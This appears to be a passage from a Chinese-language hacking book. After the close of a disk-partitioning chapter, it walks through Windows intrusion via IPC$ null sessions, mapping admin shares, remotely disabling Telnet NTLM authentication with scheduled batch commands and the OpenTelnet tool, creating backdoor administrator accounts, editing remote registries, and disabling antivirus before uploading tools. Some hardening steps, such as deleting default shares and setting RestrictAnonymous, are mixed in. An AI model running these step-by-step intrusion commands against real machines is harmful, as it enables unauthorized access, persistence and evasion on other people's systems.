步骤12：现在已经成功对硬盘进行了分区，但在“我的电脑”中看不到新分的驱动器。这时需要分配驱动号，先输入“Select disk=0”命令选中第一个物理硬盘，再用“select part=3”选中第一个逻辑磁盘（本例编号1是扩展分区），如图4-22所示。

步骤13：在DISKPART>后面运行“assign”命令，即可给逻辑磁盘1自动分配一个驱动器号，此时将会看到“DiskPart成功地指派了驱动器号或装载点”的提示信息，如图4-23所示。再用“Select partition=4”命令给逻辑磁盘2转移焦点，最后用“assign”命令给逻辑磁盘2自动分配一个驱动器号，至此对硬盘进行分区的工作就完成了。

图4-21　查看硬盘详细的分区信息

图4-22　选中编号是3的分区

图4-23　分配驱动器编号

提示

assign命令是专门用来给分区分配驱动器号的命令，命令参数为：assign[letter=X]，其中X表示驱动器号，如果不指定驱动器号，则分配下一个驱动器号，如果驱动器号或者装载点已经在用，则会产生错误。

4.4　可能出现的问题与解决方法

在批处理自动清除系统垃圾时，已经将脚本内容保存到autoexec.bat中，每次开机时也会把系统垃圾给自动清理掉了，但为什么此文件却显示不出来呢？

解答：之所以会出现这样的情况，主要是因为Autoexec.bat文件在C盘下，默认是不显示出来的，需要在“文件夹选项”中取消选中“隐藏受保护的操作系统文件”复选框和选择“显示所有文件和文件夹”单选按钮之后，才可以显示出来。

4.5　总结与经验积累

本章主要介绍了Windows系统中命令行的配置，以及如何使用disk part命令给硬盘进行分区。在Windows命令行配置部分主要讲述Config.sys文件的配置，以及在配置过程中要用到的命令，并通过实例来讲述批处理的原理以及在批处理中用到的管道命令。

在安装Windows操作系统之前，要根据使用者的具体情况对系统进行个性化分区和格式化，以保证计算机设置的独特性和计算机使用的最大能效比，使自己计算机操作起来达到最佳效果。

现在可用的分区工具很多，常见分区工具有DM（Hard Disk Management Program）和分区大师PowerQuest PartitionMagic。DM可以对硬盘进行低级格式化、校验等管理工作，还可以提高硬盘的使用效率，其最显著的特点就是分区的速度非常快，分区和格式化同时进行。PowerQuest PartitionMagic是一个优秀硬盘分区管理工具。该工具可以在不损失硬盘中已有数据的前提下对硬盘进行重新分区、格式化分区、复制分区、移动分区、隐藏/重现分区、从任意分区引导系统、转换分区（如FAT<-->FAT32）结构属性等，功能强大，可以说是目前在这方面表现最为出色的工具。

第5章　基于Windows认证的入侵

当前的网络设备基本上都是用“身份认证”来实现身份识别与安全防范的，其中基于“账号/密码”的认证最为常见，Windows系统认证入侵就属于此类。当一台主机的账号/密码被入侵者盗窃之后，入侵者就可以入侵这台主机并对其进行控制了。

主要内容：

●IPC$的空连接漏洞

●通过注册表入侵

●获取账号密码

●总结与经验积累

●Telnet高级入侵

●实现MS SQL入侵

●可能出现的问题与解决方法

5.1　IPC$的空连接漏洞

IPC$是Windows系统特有的一项管理功能，是微软公司专门为方便用户使用计算机而设计的，主要是方便管理远程计算机。如果入侵者能够与远程主机成功建立IPC$连接，就可以完全控制该远程主机，此时入侵者即使不使用入侵工具，也可以实现远程管理Windows系统计算机。

5.1.1　IPC$概述

IPC$（Internet Process Connection）是共享“命名管道”的资源，是为了让进程间通信而开放的命名管道，通过提供可信任的用户名和口令，连接双方可建立安全通道并以此通道进行加密数据的交换，从而实现对远程计算机的访问。

IPC$有一个特点，即在同一时间内，两个IP之间只允许建立一个连接。Windows NT/2000/XP在提供IPC$功能的同时还打开了默认共享，即所有的逻辑共享（C$、D$、E$……）和系统目录Winnt或Windows（Admin$）共享，这在有意无意中导致了系统安全性的降低。

IPC$在远程管理计算机和查看计算机的共享资源时使用，利用IPC$可以与目标主机建立一个空的连接（无需用户名与密码），而利用这个空连接，就可以得到目标主机上的用户列表。用“流光”的IPC$探测功能，就可以得到用户列表并配合字典进行密码尝试了。

进行IPC$连接时常用命令的格式和作用如下。

·建立空连接

net use\\IP""/user：""（一定要注意：这一行命令中包含了3个空格）。

·建立非空连接

net use\\IP\IPC$"用户名"/user："密码"（同样有3个空格）。

·映射默认共享

net use z：\\IP\C$"密码"/user："用户名"（即可将对方C盘映射为自己的Z盘，其他盘类推）。

如果已经和目标建立了IPC$，则可以直接用IP+盘符+$访问，具体命令net use z：\\IP\C$。

·删除一个IPC$连接

命令格式：net use\\IP\ipc$/del

·删除共享映射

net use c：/del用于删除映射的C盘，其他盘类推。

net use*/del用于删除全部，有提示要求时按Y键确认。

Windows系统在安装完成之后，自动设置共享的目录为C盘、D盘、E盘、ADMIN目录（C：\WINNT\）等，即为C$、D$、E$、ADMIN$等。但这些共享是隐藏的，只有管理员可对其进行远程操作，键入“net share”命令即可查看本机共享资源，如图5-1所示。

图5-1　查看本机共享资源

5.1.2　IPC$空连接漏洞

IPC$本来要求客户机要有足够大的权限才能连接到目标主机，但IPC$连接漏洞允许客户端只使用空用户名、空密码，即可与目标主机成功建立连接。在这种情况下，入侵者利用该漏洞可以与目标主机进行空连接，但无法执行管理类操作，如不能执行映射网络驱动器、上传文件、执行脚本等命令。虽然入侵者不能通过该漏洞直接得到管理员权限，但也可用来探测目标主机的一些关键信息，在“信息搜集”中发挥一定作用。

通过IPC$空连接获取信息的具体操作步骤如下。

步骤1：在命令提示符中输入net use\\192.168.0.9"037971"/user："administrator"命令建立IPC$空连接，如果空连接建立成功，则会出现“命令成功完成的提示”信息，从而反映了目标主机的“不坚固”程度，如图5-2所示。

步骤2：键入“net time\\IP”命令，即可查看目标主机的时间信息，入侵者可通过目标主机的时间信息，一定程度上推断出目标主机所在的国家或地区，如图5-3所示。

图5-2　建立空连接

图5-3　查看目标主机的时间信息

步骤3：获取目标主机上的用户信息。USERINFO.exe（可利用IPC$漏洞来查看目标主机用户信息，且不需事先建立IPC$空连接）和X-Scan（可利用目标主机存在的IPC$空连接漏洞，获取用户信息）是两款获取用户信息的常用工具。

5.1.3　IPC$的安全解决方案

为了避免入侵者通过建立IPC$连接入侵计算机，需要采取一定安全措施来确保自己的计算机安全，常见的有如下几种。

1.删除默认共享

为阻止入侵者利用IPC$入侵，可先删除默认共享。在删除默认共享之后，机器上原来的Web服务器仍可正常服务。

步骤1：在cmd窗口输入“net share”命令，即可了解本机共享资源。

步骤2：删除共享资源。通过BAT文件执行删除共享资源命令，如建立BAT文件（如noshare.bat），其中包含的内容如下。

net share ipc$ /del

net share admin$ /del

net share C$ /del

net share D$ /del

如果有其他盘符，可以继续添加。将其保存之后，复制到本机“开始”→“所有程序”→“启动”菜单项中，以后每次开机都会自动执行该BAT文件来删除默认共享。如果以后需要使用共享资源，使用“net share共享名”命令来打开。

步骤3：通过修改注册表编辑器，也可以实现删除默认共享。在“注册表编辑器”窗口右窗格的功能树中展开HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA分支，如图5-4所示。

图5-4　注册表中的LSA分支

步骤4：双击右窗格中的“restrictanonymous”文件，即可打开“编辑DWORD值”的对话框，将“数值数据”文本框中的值改为“1”，如图5-5所示。

图5-5　编辑DWORD的值

步骤5：在“注册表编辑器”窗口右窗格的功能树中，展开HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters分支，如图5-6所示。

步骤6：在其右侧文件下面的空白处右击，在弹出的快捷菜单中选择“新建”→“DWORD”菜单项，如图5-7所示。如果是服务器则将此键命名为“AutoShare”，如图5-8所示。把类型设置为“REG_DWORD”之后，将键值设置为“0”，如图5-9所示。如果是客户机则将此键命名为“AutoShare Wks”，并把类型设置为“REG_DWORD”且键值设置为“0”，如图5-10所示。

图5-6　打开注册表中Parameters分支

图5-7　选择“新建”→“DWORD”菜单项

图5-8　将此键命名为“AutoShare”

图5-9　将键值设置为“0”

图5-10　客户机设置

步骤7：在重启系统之后，默认共享即可被删除。如果需要使用共享资源，则用户只需要删除刚才新建立的键，重启系统即可生效。

步骤8：另外，在Windows Server操作系统中可以找到所有的共享文件，可以通过手动的方法将其禁用。在“计算机管理”窗口中左窗格的功能树中，展开“系统工具”→“共享文件夹”→“共享”分支，在右窗格中显示的本机共享文件夹上右击之后，在弹出的快捷菜单中选择“停止共享”菜单项，如图5-11所示。

图5-11　手动停止共享

步骤9：禁止空连接进行枚举攻击的方法。入侵者可将IPC$空连接作为连接基础，进行反复的试探性连接，直到连接成功、获取密码。为解决这个问题，可在注册表编辑器中展开HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA分支，把Restrict Anonymous=DWORD的键值改为00000001（也可改为2，不过改为2后可能造成一些服务不正常）。

步骤10：在修改完毕并重启系统之后，便禁止了空连接进行枚举攻击。但这种方法并不能禁止建立空连接。此时如果使用X-Scan对计算机进行安全检测，即可发现该主机不再泄露用户列表和共享列表，操作系统类型也将不会被X-Scan识别。

2.关闭Server服务

如果关闭Server服务，IPC$和默认共享便不存在，但同时也将使服务器丧失其他一些服务功能（此方法不适合服务器使用，只适合个人计算机使用）。

通过选择“开始”→“控制面板”→“管理工具”菜单项，如图5-12所示。在管理工具窗口双击“服务”项，如图5-13所示。打开“服务管理器”窗口后，在服务列表中找到并右击Server服务，并在弹出菜单中选择“停止”选项，如图5-14所示。还可使用“net stop server/y”命令来将其关闭，但只能当前生效一次，系统重启后Server服务仍然会自动开启。

设置本地安装策略的具体操作步骤如下。

步骤1：在Windows 7操作系统中，选择“开始”→“控制面板”→“管理工具”菜单项，如图5-15所示。

步骤2：在管理工具窗口双击“本地安全策略”项，如图5-16所示。

步骤3：打开“本地安全策略”窗口后，在左边的功能树中展开“安全设置”节点下的“本地策略”→“安全选项”分支，右击右窗格中的“网络访问：不允许SAM账户和共享的匿名枚举”策略之后，在弹出的快捷菜单中选择“属性”菜单项，如图5-17所示。

步骤4：可以看到“网络访问：不允许SAM账户和共享的匿名枚举属性”对话框，选择“本地安全设置”选项卡中的“已启用”单选按钮之后，单击“确定”按钮，即可关闭Server服务，如图5-18所示。

图5-12　选择“管理工具”菜单项

图5-13　双击“服务”项

图5-14　选择“停止”选项

图5-15　选择“管理工具”菜单项

图5-16　双击“本地安全策略”项

图5-17　选择“属性”菜单项

图5-18　选择“已启用”单选按钮

提示

设置复杂的密码是防止入侵的最简单方法，可以有效防止黑客破解密码。因为密码越复杂，其破解难度就越大，使用普通手段破解所花费的时间就越长。

5.2　Telnet高级入侵

IPC$入侵只是与远程主机建立连接，并不是真正登录远程主机，在窃取远程主机的账户和密码后登录远程主机，才是入侵者的目的。Internet系统的优点在于，操纵世界另一端的计算机与使用身旁的计算机一样方便。

5.2.1　突破Telnet中的NTLM权限认证

由于Telnet功能太强大，而且也是入侵者使用最频繁的登录手段之一，因此，微软公司为Telnet添加了身份验证，称为NTLM验证，它要求Telnet终端除需要有Telnet服务主机的用户名和密码外，还需要满足NTLM验证关系。NTLM验证大大增强了Telnet主机的安全性，就像一只“拦路虎”把很多入侵者拒之门外。

怎样才能突破Telnet中的NTLM权限验证呢？以下几种方法可以很好地解决这个问题。

1.使用ntlm.exe

如果攻击者知道了一台主机的管理员权限，并确切知道这台主机的登录用户名和密码，而且对方允许网际进程连接（IPC$）和at命令，则攻击者可以使用这种方法，先和目标计算机建立一个IPC$连接，将ntlm.exe复制到目标计算机上，再通过at命令执行即可。

2.通过自己编写batch文件

在Windows系统中自带有一个tlntadmn命令，它可用来通过控制台修改Telnet设置，但这是一个控制台的交互式工具，所以at命令没有办法直接调用。为了方便操作，可编写一个批处理文件，先用at命令取得对方系统时间（假设得到对方时间为20：18），具体的批命令如下：

at 172.16.93.66 20:18 "echo 5 >> c:\evilin.txt" 

at 172.16.93.66 20:18 "echo 3 >> c:\evilin.txt" 

at 172.16.93.66 20:18 "echo 7 >> c:\evilin.txt" 

at 172.16.93.66 20:18 "echo y >> c:\evilin.txt" 

at 172.16.93.66 20:18 "echo 0 >> c:\evilin.txt" 

at 172.16.93.66 20:18 "echo y >> c:\evilin.txt" 

at 172.16.93.66 20:18 "echo 0 >> c:\evilin.txt" 

at 172.16.93.66 20:18 "echo 4 >> c:\evilin.txt" 

at 172.16.93.66 20:18 "echo 0 >> c:\evilin.txt" 

at 172.16.93.66 20:18 "c:\winnt\system32\tlntadmn.exe < c:\evilin.txt" 

at 172.16.93.66 20:18 "del c:\evilin.txt /f" 

再用at命令执行“at 172.16.93.6620：18 tlntadmn，c：\evilin.txt”就可以了。

3.使用Opentelnet.exe工具

如果黑客攻击时知道了一台主机的管理员权限，并确切知道了该计算机的登录用户名和密码，而且对方还没开启Telnet服务，此时，就可以使用Opentelnet.exe工具来突破Telnet中的NTLM权限验证了。

Opentelnet.exe的用法为：OpenTelnet.exe\server<账号><密码><NTLM认证方式><Telnet端口>，比如“C：\>OpenTelnet.exe 172.16.93.66 administrator 123456090”命令（意为连接172.16.93.66，账号administrator，密码1 ，0表示不使用NTLM认证方式，telnet端口是90）。

当程序运行后将会得到如下信息：

BINGLE!!!Yeah!! 

Telnet Port is 90. You can try:"telnet ip 90", to connect the server! 

Disconnecting server...Successfully! 

上述信息说明Telnet服务已经启动成功了，并且使用的端口是90。这样，就可以得到一个开启90端口的Windows系统Telnet服务器了。

在使用“Telnet 172.16.93.66”命令之后，不使用NTLM认证方式，就可以登录上去了。

ResumeTelnet.exe是用来恢复Telnet配置并关闭Telnet服务器的，具体用法为：

ResumeTelnet.exe\ip<账号><密码>

如：C：\>ResumeTelnet.exe 172.16.93.66 administrator 123456

如果程序运行后显示：

BINGLE!!! 

The config of remote telnet server is resumed! 

Disconnecting server...Successfully! 

上述信息说明服务器端Telnet的配置又返回到原来状态了。

4.利用远程注册表实现

实现该操作的前提是：知道一台主机的管理员权限，并确切知道其用户ID和password，并且对方开启了远程注册表服务和Telnet服务。

具体的操作步骤如下。

步骤1：与目标计算机建立IPC$连接之后，启动本地的注册表编辑器，如图5-19所示。

图5-19　启动本地的注册表编辑器

步骤2：选择“文件”→“连接网络注册表”菜单项，如图5-20所示。在打开的“选择计算机”对话框中输入172.16.93.66，如图5-21所示。

步骤3：进入远程注册表编辑器之后，展开并找到：HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\-TelnetServer.0分支下的NTLM键值，将其修改为0或1。

步骤4：在完成上述修改之后，断开所有连接，只要对方重新启动系统，就可以使用了。

图5-20　选择“文件”→“连接网络注册表”菜单项

图5-21　连接远程计算机的注册表

5.利用系统新建用户

操作的前提是：攻击者知道了目标计算机的管理员权限，并确切地知道该计算机的登录用户名和密码，并且对方开启了Telnet服务，就可以使用该方法。这种方法可用于在本地建立一个和对方账号同名同权限的账号，并以这种修改连接身份的方法来绕过验证。

具体的操作方法如下：

步骤1：先在本地计算机中建立一个符合要求的用户，即“跳板”用户。

步骤2：在Windows中的C：\WINDOWS\SYSTEM32\cmd.exe文件上右击并执行“属性”菜单项，在显示的对话框中选择“属性”选项卡之后，勾选“以其他用户身份运行”复选框并单击“确定”按钮。

步骤3：双击运行CMD程序，在其中输入已经建立的“跳板”用户的账号和密码之后，就可以在这个cmd.exe中实现Telnet，而不需要NTLM身份验证了。

5.2.2　Telnet典型入侵

Telnet对于入侵者而言只是一种远程登录的工具，一旦入侵者与远程主机建立了Telnet连接，就可以使用目标计算机上的软件以及硬件资源。在这种情况下，入侵者的本地计算机就只相当于一个只有键盘和显示器的终端。

登录命令：telnet HOST[PORT]

断开Telnet连接的命令：exit

成功建立Telnet连接除要求掌握远程计算机上的账号和密码外，还需要远程计算机已经开启“Telnet服务”，并去除NTLM验证。当然，也可以使用专门的Telnet工具来进行连接，如STERM、CTERM等工具。

在Windows 2000操作系统中Telnet入侵的具体操作步骤如下：

步骤1：在“命令提示符”窗口中输入“cd”命令之后，再使用“net use\\192.168.27.128\ipc$“123456”/user：“syshack””命令，与目标主机建立IPC$连接，其中“syshack”为建立的后门账号，如图5-22所示。

步骤2：右击桌面上的“我的电脑”图标，在弹出的快捷菜单中选择“管理”菜单项，即可打开“计算机管理”窗口。

步骤3：右击“计算机管理”窗口中的“计算机管理”选项，在弹出的快捷菜单中选择“连接到另一台计算机”菜单项，即可打开“选择计算机”对话框，如图5-23所示。

图5-22　建立IPC$连接

图5-23　选择目标计算机

步骤4：在“这个管理单元将始终管理”栏中选择“另一台计算机”单选项之后，在右侧文本框中输入目标计算机的IP地址，或通过浏览选择目标主机，即可在“计算机管理”窗口左侧“计算机管理”目录中显示目标计算机的IP地址，如图5-24所示。

步骤5：在“计算机管理”的窗口中展开“服务和应用程序”→“服务”分支，并在右窗文件中找到“Telnet”文件，如图5-25所示。

步骤6：右击“Telnet”文件并在弹出的快捷菜单中选择“属性”菜单项，即可打开“Telnet的属性（本地计算机属性）”对话框，如图5-26所示。

步骤7：在“常规”选项卡的“启动类型”下拉列表中选择“自动”类型之后，单击“应用”按钮，则“服务状态”组合框中的“启动”按钮将被激活，如图5-27所示。单击“启动”按钮，就可以启动Telnet服务了。

步骤8：断开连接。在关闭“计算机管理”之后，还需要手工键入“net use*/del”命令来断开IPC$连接，如图5-28所示。

步骤9：去掉NTLM验证。如果没有去除远程计算机上的NTLM验证，则在登录远程计算机时就会失败，如图5-29所示。

图5-24　显示目标计算机的IP地址

图5-25　找到Telnet文件

图5-26　Telnet属性

图5-27　启动Telnet服务

图5-28　删除IPC$连接

图5-29　去掉NLTM认证

步骤10：在本地计算机上建立一个与远程主机上相同的账号和密码之后，再在“命令提示符”窗口中输入“cd\”命令、“net user gmw 123456/add”命令和“net loca-l-group administrators sysback/add”命令，如图5-30所示。

图5-30　建立与远程主机相同的账号

步骤11：在“命令提示符属性”对话框的“快捷方式”选项卡中单击“高级（D）…”按钮，即可弹出“高级属性”对话框，并勾选“以其他用户身份运行”复选框，如图5-31所示。

步骤12：选择并右击“开始”→“程序”→“附件”→“命令提示符”菜单项，在弹出的快捷菜单中选择“运行方式”选项，即可打开“运行身份”对话框，在其中选择“下列用户”单选按钮，在“用户名”下拉列表中选中已创建的账号，在密码文本框中填入密码，如图5-32所示。

图5-31　高级属性窗口

图5-32　“运行身份”对话框

步骤13：在“命令提示符”窗口输入“telnet 192.168.1.13”命令进行Telnet登录，如图5-33所示。此时输入“Y”表示发送密码并登录，即可打开远程主机为Telnet终端用户开启的Shell，在该Shell中输入的命令在远程计算机上直接被执行，如图5-34所示。

图5-33　Telnet登录

图5-34　Telnet远程登录成功

5.2.3　Telnet杀手锏

Opentelnet专门用来解除Telnet的NTLM认证，它不用建立IPC$连接、不必考虑远程计算机是否正在运行Telnet服务，只要有用户名和密码，并且主机开放IPC$连接就可以了。不过Opentelnet打开的Telnet服务在目标主机重启后不会自动运行。相应于去除NTLM验证，还有一个恢复NTLM验证的程序——ResumeTelnet.exe。

ResumeTelnet工具的命令格式：opentelnet.exe\\server<账号><密码><NTLM认证方式><telnet端口>，如图5-35所示。

图5-35　Opentelnet命令格式

其中参数含义如下：

·server是目标主机IP地址。

·Telnet端口默认是23，不过入侵者一般用其他端口如55、90等来迷惑管理员。

·NTLM认证方式：0表示不使用NTLM身份验证，1表示先尝试NTLM身份验证，失败再使用用户名和密码，2表示只使用NTLM身份验证。

用Opentelnet可以去除NTLM验证，更改Telnet服务端口号，登录Telnet目标主机，具体的操作步骤如下。

步骤1：使用opentelnet.exe去除远程计算机NTLM验证，并把Telnet服务端口号改为55，在命令提示符窗口中键入“opentelnet\\192.168.0.9 administrator"037971"155”，即可看到已经成功去除了NTLM验证并更改了Telnet服务端口，而且还开启了Telnet服务，如图5-36所示。

步骤2：在其中输入“telnet 192.168.0.9”命令，即可登录远程计算机，如图5-37所示。

图5-36　输入“去除NTLM验证”命令

图5-37　输入“登录远程计算机”命令

步骤3：登录成功后就会出现提示是否将密码发送到远程计算机，如图5-38所示。在其中输入“N”命令，即可看到登录界面，如图5-39所示。再在其中输入相应的用户名和密码，即可登录远程计算机。

此外，还可用与opentelnet.exe相配套的程序resumetelnet.exe来恢复远程主机NTLM验证，命令格式为“ResumeTelnet.e xe\\server username password”，如图5-40所示。执行后将关闭目标主机Telnet服务，并恢复NTLM验证。

步骤4：在命令提示符窗口中运行“resumetelnet\\192.168.0.9 administrator“037971””命令，执行结果如图5-41所示。

图5-38　提示是否将密码发送到远程计算机

图5-39　“登录到远程计算机”窗口

图5-40　ResumeTelnet命令格式

图5-41　输入恢复NTLM验证命令

5.2.4　Telnet高级入侵常用的工具

即使计算机使用NTLM验证，入侵者仍然可以很容易地去除NTLM验证来实现Telnet登录。如果入侵者使用23号端口进行登录，就很容易被管理员发现。但入侵者入侵通常都会修改Telnet端口，修改Telnet服务来隐藏行踪。

下面是完成入侵过程需要的工具：

·X-Scan：用来扫描出存在NT弱口令的主机。

·opentelnet：用来去除NTLM验证、开启Telnet服务、修改Telnet服务端口。

·AProMan：用来查看进程、杀死进程。

·instsrv：用来给主机安装服务。

1.AProMan

AProMan是一个Windows 2000/XP下基于命令行的进程工具，可用命令行方式查看、杀死进程，还可以把进程和模块列表导出到文本文件中。AProMan不会被杀毒软件查杀（如果入侵者发现目标主机上运行有杀毒软件，将会导致上传的工具被查杀，因此就要在上传工具前关闭杀毒防火墙）。

AProMan工具的用法如下：

·C：\AProMan.exe-a：显示所有进程。

·C：\AProMan.exe-p：显示端口进程关联关系（需Administrator权限）。

·C：\AProMan.exe-t[PID]：杀掉指定进程号的进程。

·C：\AProMan.exe-f[FileName]：把进程及模块信息存入文件。

2.instsrv

instsrv是一款用命令行就可以安装、卸载服务的程序，可自由指定服务名称和服务所执行的程序。

instsrv工具的具体用法如下：

安装服务：instsrv<服务名称><执行程序的位置>

卸载服务：instsrv<服务名称>REMOVE

3.X-Scan

X-Scan是国内最著名的综合扫描器之一，它完全免费，是不需要安装的绿色软件，界面支持中文和英文两种语言，包括图形界面和命令行方式。它主要由国内著名的民间黑客组织“安全焦点”（ http://www.xfocus.net ）完成，最值得一提的是，X-Scan把扫描报告和安全焦点网站相连接，对扫描到的每个漏洞进行“风险等级”评估，并提供漏洞描述、漏洞溢出程序，方便网管测试、修补漏洞。

5.3　通过注册表入侵

Windows注册表是帮助Windows系统控制硬件、软件、用户环境和Windows界面的数据文件，包含在Windows目录下的system.dat文件和user.dat文件中，还有其备份文件system.da0和user.da0。通过Windows目录下的regedit.exe程序可以存取注册表数据库。

众多的恶意插件、病毒、木马等总会想方设法修改系统的注册表，使得系统安全岌岌可危。如果能给注册表加一道安全屏障，系统减少病变的可能就会大大降低。

5.3.1　注册表的相关知识

注册表（Registry）是Windows操作系统、硬件设备以及客户应用程序得以正常运行和保存设置的核心“数据库”，是一个巨大的树状分层数据库，它记录了用户安装在机器上的软件和每个程序的相互关联关系，包含了计算机的硬件配置（包括自动配置的即插即用设备和已有的各种设备说明、状态属性以及各种状态信息和数据等）。

注册表被组织成子树及项、子项和项值的分层结构，如图5-42所示。

图5-42　注册表中的结构

1.注册表根项

Windows的注册表有5大根键，相当于一个硬盘被分成了5个分区。虽然在注册表中5个根键看上去处于一种并列的地位，彼此毫无关系。但事实上，HKEY_CLASSES_ROOT和HKEY_CURRENT_CONFIG中存放的信息，都是HKEY_LOCAL_MACHINE中存放的信息的一部分，而HKEY_CURRENT_USER中存放的信息，只是HKEY_USERS存放的信息的一部分。HKEY_LOCAL_MACHINE包括HKEY_CLASSES_ROOT和HKEY_CURRENT_USER中所有的信息。因此，在每次系统启动后，系统就映射出HKEY_CURRENT_USER中的信息，使得用户可以查看和编辑其中的信息。

（1）HKEY_LOCAL_MACHINE

包含关于本地计算机系统的信息，包括硬件和操作系统数据，如总线类型、系统内存、设备驱动程序和启动控制数据。

（2）HKEY_CLASSES_ROOT

包含由各种OLE技术使用的信息和文件类别关联数据（等价于MS-DOS下的Windows注册表）。如果HKEY_LOCAL_MACHINE\SOFTWARE\Classes或HKEY_CURRENT_USER\SOFTWARE\Classes中存在某个键或值，则对应的键或值将出现在HKEY_CLASSES_ROOT中。如果两处均存在键或值，则HKEY_CURRENT_USER版本将是出现在HKEY_CLASSES_ROOT中的一个。

（3）HKEY_CURRENT_USER

包含当前以交互方式（与远程方式相反）登录的用户的用户配置文件，包括环境变量、桌面设置、网络连接、打印机和程序首选项。该子目录树是HKEY_USERS子目录树的别名，并指向HKEY_USERS\当前用户的安全ID。

（4）HKEY_USERS

包含关于动态加载的用户配置文件和默认的配置文件的信息，还包含同时出现在HKEY_CURRENT_USER中的信息。要远程访问服务器的用户在服务器上的该项下没有配置文件，他们的配置文件将加载到他们自己计算机的注册表中。

（5）HKEY_CURRENT_CONFIG

包含在启动时由本地计算机系统使用的硬件配置文件的相关信息。该信息用于配置一些设置，如要加载的设备驱动程序和显示时要使用的分辨率。该子目录树是HKEY_LOCAL_MACHINE子目录树的一部分，并指向HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\HardwareProfiles\Current。

2.注册表中的数据类型

下面列出了Windows当前定义和使用的数据类型。

Windows中注册表中常见的数据类型如下。

（1）REG_BINARY

二进制值（REG_BINARY）为原始二进制数据，大多数硬件组件信息作为二进制数据存储，以十六进制的格式显示在注册表编辑器中。

（2）DWORD

DWORD值（REG_DWORD）由4字节长（32位整数）的数字表示数据。设备驱动程序和服务的许多参数都是此类型，以二进制、十六进制或十进制格式显示在注册表编辑器中。与之有关的值是DWORD_LITTLE_ENDIAN（最不重要的字节在最低位地址）和REG_DWORD_BIG_ENDIAN（最不重要的字节在最高位地址）。

（3）REG_EXPAND_SZ

可扩展字符串值（REG_EXPAND_SZ）为长度可变的数据字符串，这种数据类型包括程序或服务使用该数据时解析的变量。

（4）REG_MULTI_SZ

多字符串值（REG_MULTI_SZ）包含用户可以阅读的列表或多个值，各条目之间用空格、逗号或其他标记分隔。

（5）REG_SZ

字符串值（REG_SZ）为长度固定的文本字符串。

（6）REG_RESOURCE_LIST

二进制值（REG_RESOURCE_LIST）为一系列嵌套的数组，用于存储硬件设备驱动程序或其控制的某个物理设备所使用的资源列表。此数据由系统检测并写入\ResourceMap树，作为二进制值以十六进制的格式显示在注册表编辑器中。

（7）REG_RESOURCE_REQUIREMENTS_LIST

二进制值（REG_RESOURCE_REQUIREMENTS_LIST）为一系列嵌套的数组，用于存储一个设备驱动程序（或其控制的某个物理设备）可以使用的硬件资源列表。系统将此列表的子集写入\ResourceMap树。此数据由系统检测，作为二进制值以十六进制的格式显示在注册表编辑器中。

（8）REG_FULL_RESOURCE_DESCRIPTOR

二进制值（REG_FULL_RESOURCE_DESCRIPTOR）为一系列嵌套的数组，用于存储物理硬件设备使用的资源列表。此数据由系统检测并写入\HardwareDescription树，作为二进制值以十六进制的格式显示在注册表编辑器中。

5.3.2　远程开启注册表服务功能

入侵者一般都是通过远程进入目标主机注册表的，因此，如果要连接远程目标主机的“网络注册表”实现注册表入侵，除可以成功建立IPC$连接之外，还需要远程目标主机已经开启了“远程注册表服务”。

具体的操作步骤如下。

步骤1：建立IPC$连接，如图5-43所示。再右击桌面上的“我的电脑”图标，在弹出的快捷菜单中选择“管理”菜单项，即可打开“计算机管理”窗口。在其中展开“服务和应用程序”→“服务”分支，并在右窗格中找到“Remote Registry”文件，如图5-44所示。

图5-43　建立IPC$连接

步骤2：右击“Remote Registry”文件并在弹出的快捷菜单中选择“属性”菜单项，即可打开“Remote Registry的属性（本地计算机属性）”对话框，如图5-45所示。

步骤3：在“常规”选项卡的“启动类型”下拉列表中选择“自动”类型之后，单击“应用”按钮，则“服务状态”组合框中的“启动”按钮将被激活，单击“启动”按钮，就可以开启远程主机服务了。

步骤4：在关闭“计算机管理”窗口之后，再断开IPC$连接，就可以关闭远程开启的注册表服务功能了，如图5-46所示。

图5-44　“计算机管理”窗口

图5-45　“Remote Registry的属性（本地计算机属性）”对话框

图5-46　断开IPC$连接

5.3.3　连接远程主机的“远程注册表服务”

入侵者可以通过Windows自带的工具连接远程主机的注册表并进行修改，这会给远程计算机带来严重的伤害，在开启远程注册表服务的基础上，连接远程主机的具体操作步骤如下。

步骤1：在建立IPC$连接之后，再在“注册表编辑器”窗口中选择“文件”→“连接网络注册表”菜单项，即可打开“选择计算机”对话框，如图5-47所示。

图5-47　“选择计算机”对话框

步骤2：在“输入要选择的对象名称”文本框中输入远程主机的IP地址之后，单击“确定”按钮，在连接网络注册表成功后，入侵者可以通过该工具在本地修改远程注册表，不过以这种方式得到的网络注册表只有2个根项，如图5-48所示。

步骤3：在修改完远程主机的注册表之后，要断开网络注册表连接。此时再用鼠标右击“192.168.0.9”连接项，在弹出的快捷菜单中选择“断开”选项，即可断开网络注册表，如图5-49所示。

图5-48　连接网络注册表成功

图5-49　断开网络注册表

5.3.4　编辑注册表文件

入侵者除了使用网络注册表连接远程主机的注册表外，还可以通过手工导入注册表（reg）文件的方法来修改远程主机的注册表，只要拥有权限，便可以通过这种方式修改注册表任意一项。

1.reg文件操作实例

reg文件是为了方便用户或安装程序在注册表中添加信息而设计，其扩展名为reg。reg文件实际上是一种注册表脚本文件，双击reg文件即可将其中的数据导入到注册表中。通过约定的格式，可以利用reg文件直接对注册表进行任何修改操作，而且它对注册表的操作可以不受Regedit.exe被禁用的限制。

此外，由于reg文件可用任何文本编辑器（如记事本）进行打开、编辑、修改，可在发生错误时，通过改回reg文件中的数据后再导入，实现恢复操作，因此它更方便、安全。

下面通过介绍几个实例来实现对注册表文件进行编辑。

实例1：在远程主机注册表根项HKEY_CURRENT_USER\Software\中添加名为“HACK”的主键，并在HACK主键下建立一个名为“NAME”，类型为“DWORD”，值为“00000000”的键值项。

具体的操作步骤如下。

步骤1：打开记事本程序并在其中输入如下代码（代码中的“REGEDIT4”代表该reg文件的版本为4，是注册表的固定格式。“[HKEY_CURRENT_USER\Software\HACK]”是要添加主键的路径。在需要建立主键时，需把该主键的路径写出来并用方括号括起来），如图5-50所示。

REGEDIT4

 [HKEY_CURRENT_USER\Software\HACK]

步骤2：在记事本程序中选择“文件”→“另存为”菜单项，即可打开“另存为”对话框，在“保存类型”下拉列表中选择“所有文件”选项，并在“文件名”文本框中输入test1.reg，如图5-51所示。

图5-50　在记事本中输入代码

图5-51　“另存为”对话框

